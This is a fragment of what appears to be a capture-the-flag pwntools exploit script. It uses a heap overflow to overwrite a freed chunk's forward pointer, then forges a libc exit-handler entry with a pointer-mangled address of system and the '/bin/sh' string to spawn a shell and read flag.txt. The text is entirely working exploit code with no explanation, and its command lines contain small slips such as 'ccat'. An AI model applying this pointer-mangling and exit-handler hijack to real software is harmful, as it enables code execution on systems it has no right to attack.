payload = cyclic(0x20) + b'A' * 0x08 + p64(0x40) + p64(ptr_mangle ^ libc.sym['initial'] - 0x10)
malloc(6, 0x38, payload) # <- overwrite fd
malloc(7, 0x38, '')
malloc(8, 0x38, '')

def rol64(value: int, shift: int) -> int:
    shift &= 63
    return ((value << shift) | (value >> (64 - shift))) & ((1 << 64) - 1)

mangled_func = rol64(libc.sym['system'] ^ cookie, 0x11)
bin_sh = next(libc.search(b'/bin/sh'))
payload = p64(0) + p64(1) + p64(4) + p64(mangled_func) + p64(bin_sh)
malloc(9, 0x38, payload)
p.interactive()
p.sendline('ccat flag.txt')
p.interactive()